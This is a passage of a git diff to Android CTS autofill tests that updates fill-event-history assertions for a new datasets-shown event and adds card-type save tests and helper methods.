+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ assertFillEventForDatasetShown(events.get(0), "clientStateKey", "clientStateValue");
+ assertFillEventForDatasetAuthenticationSelected(events.get(1), "name",
"clientStateKey", "clientStateValue");
}
@@ -141,11 +143,13 @@
mUiBot.assertDatasets("dataset");
// Verify fill selection
- final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(1);
+ final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(3);
assertDeprecatedClientState(selection, "clientStateKey", "clientStateValue");
List<Event> events = selection.getEvents();
- assertFillEventForAuthenticationSelected(events.get(0), NULL_DATASET_ID,
+ assertFillEventForDatasetShown(events.get(0), "clientStateKey", "clientStateValue");
+ assertFillEventForAuthenticationSelected(events.get(1), NULL_DATASET_ID,
"clientStateKey", "clientStateValue");
+ assertFillEventForDatasetShown(events.get(2), "clientStateKey", "clientStateValue");
}
@Test
@@ -174,10 +178,11 @@
{
// Verify fill selection
- final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(1);
+ final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
assertDeprecatedClientState(selection, "clientStateKey", "Value1");
final List<Event> events = selection.getEvents();
- assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID,
+ assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value1");
+ assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID,
"clientStateKey", "Value1");
}
@@ -210,10 +215,11 @@
{
// Verify fill selection
- final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(1);
+ final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
assertDeprecatedClientState(selection, "clientStateKey", "Value2");
final List<Event> events = selection.getEvents();
- assertFillEventForDatasetSelected(events.get(0), "name3",
+ assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value2");
+ assertFillEventForDatasetSelected(events.get(1), "name3",
"clientStateKey", "Value2");
}
@@ -223,13 +229,15 @@
{
// Verify fill selection
- final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
+ final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(4);
assertDeprecatedClientState(selection, "clientStateKey", "Value2");
final List<Event> events = selection.getEvents();
- assertFillEventForDatasetSelected(events.get(0), "name3",
+ assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value2");
+ assertFillEventForDatasetSelected(events.get(1), "name3",
"clientStateKey", "Value2");
- assertFillEventForSaveShown(events.get(1), NULL_DATASET_ID,
+ assertFillEventForDatasetShown(events.get(2), "clientStateKey", "Value2");
+ assertFillEventForSaveShown(events.get(3), NULL_DATASET_ID,
"clientStateKey", "Value2");
}
}
@@ -255,10 +263,11 @@
{
// Verify fill selection
- final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(1);
+ final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
assertNoDeprecatedClientState(selection);
final List<Event> events = selection.getEvents();
- assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
}
// Second request
@@ -292,10 +301,11 @@
{
// Verify fill selection
- final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(1);
+ final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
assertNoDeprecatedClientState(selection);
final List<Event> events = selection.getEvents();
- assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
}
// Second request
@@ -329,10 +339,11 @@
{
// Verify fill selection
- final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(1);
+ final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
assertNoDeprecatedClientState(selection);
final List<Event> events = selection.getEvents();
- assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
}
// Second request
@@ -398,8 +409,9 @@
sReplier.getNextFillRequest();
// Verify fill selection for Activity B
- final FillEventHistory selectionB = InstrumentedAutoFillService.getFillEventHistory(0);
+ final FillEventHistory selectionB = InstrumentedAutoFillService.getFillEventHistory(1);
assertDeprecatedClientState(selectionB, "activity", "B");
+ assertFillEventForDatasetShown(selectionB.getEvents().get(0), "activity", "B");
// Now switch back to A...
mUiBot.pressBack(); // dismiss autofill
@@ -424,8 +436,9 @@
sReplier.getNextSaveRequest();
// Finally, make sure history is right
- final FillEventHistory finalSelection = InstrumentedAutoFillService.getFillEventHistory(0);
+ final FillEventHistory finalSelection = InstrumentedAutoFillService.getFillEventHistory(1);
assertDeprecatedClientState(finalSelection, "activity", "B");
+ assertFillEventForDatasetShown(finalSelection.getEvents().get(0), "activity", "B");
}
@Test
@@ -498,11 +511,12 @@
mActivity.assertAutoFilled();
// Verify fill history
{
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
- assertFillEventForDatasetSelected(events.get(0), "id1");
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), "id1");
}
- // Trigger 2st autofill request (which will clear the fill event history)
+ // Trigger 2nd autofill request (which will clear the fill event history)
sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
new CannedDataset.Builder()
.setId("id2")
@@ -518,8 +532,9 @@
mActivity.assertAutoFilled();
// Verify fill history
{
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
- assertFillEventForDatasetSelected(events.get(0), "id2");
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), "id2");
}
// Finish the context by login in
@@ -530,9 +545,9 @@
{
// Verify fill history
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-
- assertFillEventForDatasetSelected(events.get(0), "id2");
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), "id2");
}
}
@@ -565,8 +580,9 @@
// Verify dataset selection
{
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
- assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
}
// Finish the context by login in
@@ -580,8 +596,10 @@
// ...and check again
{
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
- assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
+ assertFillEventForDatasetShown(events.get(2));
}
}
@@ -616,8 +634,9 @@
// Verify dataset selection
{
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
- assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
}
// Finish the context by login in
@@ -630,10 +649,11 @@
// ...and check again
{
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
- assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
- FillEventHistory.Event event2 = events.get(1);
+ FillEventHistory.Event event2 = events.get(2);
assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
assertThat(event2.getDatasetId()).isNull();
assertThat(event2.getClientState()).isNull();
@@ -678,8 +698,9 @@
// Verify dataset selection
{
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
- assertFillEventForDatasetSelected(events.get(0), "id2");
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), "id2");
}
// Finish the context by login in
@@ -692,10 +713,11 @@
// ...and check again
{
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
- assertFillEventForDatasetSelected(events.get(0), "id2");
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), "id2");
- final FillEventHistory.Event event2 = events.get(1);
+ final FillEventHistory.Event event2 = events.get(2);
assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
assertThat(event2.getDatasetId()).isNull();
assertThat(event2.getClientState()).isNull();
@@ -738,8 +760,10 @@
mUiBot.assertDatasets("dataset1", "dataset2");
// Verify history
- InstrumentedAutoFillService.getFillEventHistory(0);
-
+ {
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+ assertFillEventForDatasetShown(events.get(0));
+ }
// Enter values not present at the datasets
mActivity.onUsername((v) -> v.setText("USERNAME"));
mActivity.onPassword((v) -> v.setText("USERNAME"));
@@ -752,8 +776,9 @@
// Verify history again
{
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
- final Event event = events.get(0);
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ assertFillEventForDatasetShown(events.get(0));
+ final Event event = events.get(1);
assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
assertThat(event.getDatasetId()).isNull();
assertThat(event.getClientState()).isNull();
@@ -798,8 +823,9 @@
// Verify dataset selection
{
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
- assertFillEventForDatasetSelected(events.get(0), "id1");
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), "id1");
}
// Finish the context by login in
@@ -813,10 +839,12 @@
// ...and check again
{
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
- assertFillEventForDatasetSelected(events.get(0), "id1");
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), "id1");
- final FillEventHistory.Event event2 = events.get(1);
+ assertFillEventForDatasetShown(events.get(2));
+ final FillEventHistory.Event event2 = events.get(3);
assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
assertThat(event2.getDatasetId()).isNull();
assertThat(event2.getClientState()).isNull();
@@ -865,8 +893,9 @@
mActivity.assertAutoFilled();
{
// Verify fill history
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
- assertFillEventForDatasetSelected(events.get(0), "id1");
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), "id1");
}
// Autofill password
@@ -878,10 +907,12 @@
{
// Verify fill history
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
- assertFillEventForDatasetSelected(events.get(0), "id1");
- assertFillEventForDatasetSelected(events.get(1), "id2");
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), "id1");
+ assertFillEventForDatasetShown(events.get(2));
+ assertFillEventForDatasetSelected(events.get(3), "id2");
}
// Finish the context by login in
@@ -894,12 +925,15 @@
{
// Verify fill history
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(6);
- assertFillEventForDatasetSelected(events.get(0), "id1");
- assertFillEventForDatasetSelected(events.get(1), "id2");
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), "id1");
+ assertFillEventForDatasetShown(events.get(2));
+ assertFillEventForDatasetSelected(events.get(3), "id2");
- final FillEventHistory.Event event3 = events.get(2);
+ assertFillEventForDatasetShown(events.get(4));
+ final FillEventHistory.Event event3 = events.get(5);
assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
assertThat(event3.getDatasetId()).isNull();
assertThat(event3.getClientState()).isNull();
@@ -945,8 +979,9 @@
mActivity.assertAutoFilled();
{
// Verify fill history
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
- assertFillEventForDatasetSelected(events.get(0), "id1");
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), "id1");
}
// Autofill password
@@ -958,10 +993,12 @@
{
// Verify fill history
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
- assertFillEventForDatasetSelected(events.get(0), "id1");
- assertFillEventForDatasetSelected(events.get(1), "id2");
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), "id1");
+ assertFillEventForDatasetShown(events.get(2));
+ assertFillEventForDatasetSelected(events.get(3), "id2");
}
// Finish the context by login in
@@ -972,12 +1009,14 @@
{
// Verify fill history
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(5);
- assertFillEventForDatasetSelected(events.get(0), "id1");
- assertFillEventForDatasetSelected(events.get(1), "id2");
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), "id1");
+ assertFillEventForDatasetShown(events.get(2));
+ assertFillEventForDatasetSelected(events.get(3), "id2");
- final FillEventHistory.Event event3 = events.get(2);
+ final FillEventHistory.Event event3 = events.get(4);
assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
assertThat(event3.getDatasetId()).isNull();
assertThat(event3.getClientState()).isNull();
@@ -1018,11 +1057,12 @@
// Verify dataset selection
{
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
- assertFillEventForDatasetSelected(events.get(0), "id1");
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), "id1");
}
- // Change the fields to different values from datasets
+ // Change the fields to different values from0 datasets
mActivity.onUsername((v) -> v.setText("USERNAME"));
mActivity.onPassword((v) -> v.setText("USERNAME"));
@@ -1037,17 +1077,19 @@
// ...and check again
{
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
- assertFillEventForDatasetSelected(events.get(0), "id1");
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
+ assertFillEventForDatasetShown(events.get(0));
+ assertFillEventForDatasetSelected(events.get(1), "id1");
+ assertFillEventForDatasetShown(events.get(2));
- FillEventHistory.Event event2 = events.get(1);
- assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
- assertThat(event2.getDatasetId()).isNull();
- assertThat(event2.getClientState()).isNull();
- assertThat(event2.getSelectedDatasetIds()).containsExactly("id1");
- assertThat(event2.getIgnoredDatasetIds()).isEmpty();
- assertThat(event2.getChangedFields()).isEmpty();
- assertThat(event2.getManuallyEnteredField()).isEmpty();
+ FillEventHistory.Event event4 = events.get(3);
+ assertThat(event4.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+ assertThat(event4.getDatasetId()).isNull();
+ assertThat(event4.getClientState()).isNull();
+ assertThat(event4.getSelectedDatasetIds()).containsExactly("id1");
+ assertThat(event4.getIgnoredDatasetIds()).isEmpty();
+ assertThat(event4.getChangedFields()).isEmpty();
+ assertThat(event4.getManuallyEnteredField()).isEmpty();
}
}
@@ -1081,7 +1123,10 @@
mUiBot.assertDatasets("dataset1", "dataset2");
// Verify history
- InstrumentedAutoFillService.getFillEventHistory(0);
+ {
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+ assertFillEventForDatasetShown(events.get(0));
+ }
// Enter values present at the datasets
mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
@@ -1095,8 +1140,9 @@
// Verify history
{
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
- FillEventHistory.Event event = events.get(0);
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ assertFillEventForDatasetShown(events.get(0));
+ FillEventHistory.Event event = events.get(1);
assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
assertThat(event.getDatasetId()).isNull();
assertThat(event.getClientState()).isNull();
@@ -1153,7 +1199,10 @@
mUiBot.assertDatasets("dataset1", "dataset2", "dataset3");
// Verify history
- InstrumentedAutoFillService.getFillEventHistory(0);
+ {
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+ assertFillEventForDatasetShown(events.get(0));
+ }
// Enter values present at the datasets
mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
@@ -1167,9 +1216,10 @@
// Verify history
{
- final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+ final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+ assertFillEventForDatasetShown(events.get(0));
- final FillEventHistory.Event event = events.get(0);
+ final FillEventHistory.Event event = events.get(1);
assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
assertThat(event.getDatasetId()).isNull();
assertThat(event.getClientState()).isNull();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
index adae5f7..70f226d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FillResponseTest.java
@@ -259,5 +259,6 @@
assertThrows(IllegalStateException.class, () -> mBuilder.setHeader(mHeader));
assertThrows(IllegalStateException.class, () -> mBuilder.setFooter(mFooter));
assertThrows(IllegalStateException.class, () -> mBuilder.setUserData(mUserData));
+ assertThrows(IllegalStateException.class, () -> mBuilder.setCancelTargetIds(null));
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 06c0e00..74f9fd9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -21,6 +21,7 @@
import static android.provider.Settings.Secure.USER_SETUP_COMPLETE;
import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_DATASETS_SHOWN;
import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_AUTHENTICATION_SELECTED;
import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_SELECTED;
import static android.service.autofill.FillEventHistory.Event.TYPE_SAVE_SHOWN;
@@ -97,6 +98,7 @@
public static final String ID_OUTPUT = "output";
public static final String ID_STATIC_TEXT = "static_text";
public static final String ID_EMPTY = "empty";
+ public static final String ID_CANCEL_FILL = "cancel_fill";
public static final String NULL_DATASET_ID = null;
@@ -548,7 +550,7 @@
/**
* Asserts the values of a text-based node whose string come from resoruces.
*/
- public static ViewNode assertTextFromResouces(AssistStructure structure, String resourceId,
+ public static ViewNode assertTextFromResources(AssistStructure structure, String resourceId,
String expectedValue, boolean isAutofillable, String expectedTextIdEntry) {
final ViewNode node = findNodeByResourceId(structure, resourceId);
assertText(node, expectedValue, isAutofillable);
@@ -556,6 +558,14 @@
return node;
}
+ public static ViewNode assertHintFromResources(AssistStructure structure, String resourceId,
+ String expectedValue, String expectedHintIdEntry) {
+ final ViewNode node = findNodeByResourceId(structure, resourceId);
+ assertThat(node.getHint()).isEqualTo(expectedValue);
+ assertThat(node.getHintIdEntry()).isEqualTo(expectedHintIdEntry);
+ return node;
+ }
+
private static void assertText(ViewNode node, String expectedValue, boolean isAutofillable) {
assertWithMessage("wrong text on %s", node.getAutofillId()).that(node.getText().toString())
.isEqualTo(expectedValue);
@@ -1150,7 +1160,7 @@
* @param value the only value expected in the client state bundle
*/
public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
- @NonNull String datasetId, @NonNull String key, @NonNull String value) {
+ @Nullable String datasetId, @NonNull String key, @NonNull String value) {
assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, key, value, null);
}
@@ -1162,12 +1172,35 @@
* @param datasetId dataset set id expected in the event
*/
public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
- @NonNull String datasetId) {
+ @Nullable String datasetId) {
assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, null, null, null);
}
/**
* Asserts the content of a
+ * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASETS_SHOWN} event.
+ *
+ * @param event event to be asserted
+ * @param key the only key expected in the client state bundle
+ * @param value the only value expected in the client state bundle
+ */
+ public static void assertFillEventForDatasetShown(@NonNull FillEventHistory.Event event,
+ @NonNull String key, @NonNull String value) {
+ assertFillEvent(event, TYPE_DATASETS_SHOWN, NULL_DATASET_ID, key, value, null);
+ }
+
+ /**
+ * Asserts the content of a
+ * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASETS_SHOWN} event.
+ *
+ * @param event event to be asserted
+ */
+ public static void assertFillEventForDatasetShown(@NonNull FillEventHistory.Event event) {
+ assertFillEvent(event, TYPE_DATASETS_SHOWN, NULL_DATASET_ID, null, null, null);
+ }
+
+ /**
+ * Asserts the content of a
* {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_AUTHENTICATION_SELECTED}
* event.
*
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
index efd001f..ace3d6f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
@@ -140,6 +140,7 @@
final Intent intent = new Intent(this, WelcomeActivity.class);
final String message = getWelcomeMessage(username);
intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, message);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
setLoginMessage(message);
startActivity(intent);
finish();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 64dee4d..165d0b0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -20,6 +20,7 @@
import static android.autofillservice.cts.CannedFillResponse.FAIL;
import static android.autofillservice.cts.CannedFillResponse.NO_MOAR_RESPONSES;
import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.Helper.ID_CANCEL_FILL;
import static android.autofillservice.cts.Helper.ID_EMPTY;
import static android.autofillservice.cts.Helper.ID_PASSWORD;
import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
@@ -52,9 +53,12 @@
import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_DEBIT_CARD;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC_CARD;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PAYMENT_CARD;
import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
import static android.text.InputType.TYPE_NULL;
import static android.text.InputType.TYPE_TEXT_VARIATION_PASSWORD;
@@ -519,10 +523,6 @@
@Test
public void testDatasetPickerPosition() throws Exception {
- // TODO(b/75281985): currently disabled because the screenshot contains elements external to
- // the activity that can change (for example, clock), which causes flakiness to the test.
- final boolean compareBitmaps = false;
-
final boolean pickerAndViewBoundsMatches = !isAutofillWindowFullScreen(mContext);
// Set service.
@@ -544,7 +544,7 @@
sReplier.getNextFillRequest();
callback.assertUiShownEvent(username);
final Rect usernamePickerBoundaries1 = mUiBot.assertDatasets("DUDE").getVisibleBounds();
- final Bitmap usernameScreenshot1 = compareBitmaps ? mUiBot.takeScreenshot() : null;
+ final Bitmap usernameScreenshot1 = mUiBot.takeScreenshot(mActivity);
Log.v(TAG,
"Username1 at " + usernameBoundaries1 + "; picker at " + usernamePickerBoundaries1);
// TODO(b/37566627): assertions below might be too aggressive - use range instead?
@@ -558,7 +558,7 @@
callback.assertUiHiddenEvent(username);
callback.assertUiShownEvent(password);
final Rect passwordPickerBoundaries1 = mUiBot.assertDatasets("SWEET").getVisibleBounds();
- final Bitmap passwordScreenshot1 = compareBitmaps ? mUiBot.takeScreenshot() : null;
+ final Bitmap passwordScreenshot1 = mUiBot.takeScreenshot(mActivity);
Log.v(TAG,
"Password1 at " + passwordBoundaries1 + "; picker at " + passwordPickerBoundaries1);
// TODO(b/37566627): assertions below might be too aggressive - use range instead?
@@ -572,7 +572,7 @@
callback.assertUiHiddenEvent(password);
callback.assertUiShownEvent(username);
final Rect usernamePickerBoundaries2 = mUiBot.assertDatasets("DUDE").getVisibleBounds();
- final Bitmap usernameScreenshot2 = compareBitmaps ? mUiBot.takeScreenshot() : null;
+ final Bitmap usernameScreenshot2 = mUiBot.takeScreenshot(mActivity);
Log.v(TAG,
"Username2 at " + usernameBoundaries2 + "; picker at " + usernamePickerBoundaries2);
@@ -581,7 +581,7 @@
callback.assertUiHiddenEvent(username);
callback.assertUiShownEvent(password);
final Rect passwordPickerBoundaries2 = mUiBot.assertDatasets("SWEET").getVisibleBounds();
- final Bitmap passwordScreenshot2 = compareBitmaps ? mUiBot.takeScreenshot() : null;
+ final Bitmap passwordScreenshot2 = mUiBot.takeScreenshot(mActivity);
Log.v(TAG,
"Password2 at " + passwordBoundaries2 + "; picker at " + passwordPickerBoundaries2);
@@ -589,15 +589,12 @@
// ... for username
assertThat(usernameBoundaries2).isEqualTo(usernameBoundaries1);
assertThat(usernamePickerBoundaries2).isEqualTo(usernamePickerBoundaries1);
- if (compareBitmaps) {
- Helper.assertBitmapsAreSame("username", usernameScreenshot1, usernameScreenshot2);
- }
+ Helper.assertBitmapsAreSame("username", usernameScreenshot1, usernameScreenshot2);
+
// ... for password
assertThat(passwordBoundaries2).isEqualTo(passwordBoundaries1);
assertThat(passwordPickerBoundaries2).isEqualTo(passwordPickerBoundaries1);
- if (compareBitmaps) {
- Helper.assertBitmapsAreSame("password", passwordScreenshot1, passwordScreenshot2);
- }
+ Helper.assertBitmapsAreSame("password", passwordScreenshot1, passwordScreenshot2);
// Final sanity check
callback.assertNumberUnhandledEvents(0);
@@ -1818,7 +1815,43 @@
customizedSaveTest(SAVE_DATA_TYPE_EMAIL_ADDRESS);
}
+ @Test
+ @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+ public void testCustomizedSaveDebitCard() throws Exception {
+ customizedSaveTest(SAVE_DATA_TYPE_DEBIT_CARD);
+ }
+
+ @Test
+ @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+ public void testCustomizedSavePaymentCard() throws Exception {
+ customizedSaveTest(SAVE_DATA_TYPE_PAYMENT_CARD);
+ }
+
+ @Test
+ @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+ public void testCustomizedSaveGenericCard() throws Exception {
+ customizedSaveTest(SAVE_DATA_TYPE_GENERIC_CARD);
+ }
+
+ @Test
+ @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+ public void testCustomizedSaveTwoCardTypes() throws Exception {
+ customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD | SAVE_DATA_TYPE_DEBIT_CARD,
+ SAVE_DATA_TYPE_GENERIC_CARD);
+ }
+
+ @Test
+ @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+ public void testCustomizedSaveThreeCardTypes() throws Exception {
+ customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD | SAVE_DATA_TYPE_DEBIT_CARD
+ | SAVE_DATA_TYPE_PAYMENT_CARD, SAVE_DATA_TYPE_GENERIC_CARD);
+ }
+
private void customizedSaveTest(int type) throws Exception {
+ customizedSaveTest(type, type);
+ }
+
+ private void customizedSaveTest(int type, int expectedType) throws Exception {
// Set service.
enableService();
@@ -1849,7 +1882,7 @@
assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
// Assert the snack bar is shown and tap "Save".
- final UiObject2 saveSnackBar = mUiBot.assertSaveShowing(saveDescription, type);
+ final UiObject2 saveSnackBar = mUiBot.assertSaveShowing(saveDescription, expectedType);
mUiBot.saveForAutofill(saveSnackBar, true);
// Assert save was called.
@@ -1915,7 +1948,21 @@
}
@Test
+ public void testNeverRejectStyleNegativeSaveButton() throws Exception {
+ negativeSaveButtonStyle(SaveInfo.NEGATIVE_BUTTON_STYLE_NEVER);
+ }
+
+ @Test
public void testRejectStyleNegativeSaveButton() throws Exception {
+ negativeSaveButtonStyle(SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT);
+ }
+
+ @Test
+ public void testCancelStyleNegativeSaveButton() throws Exception {
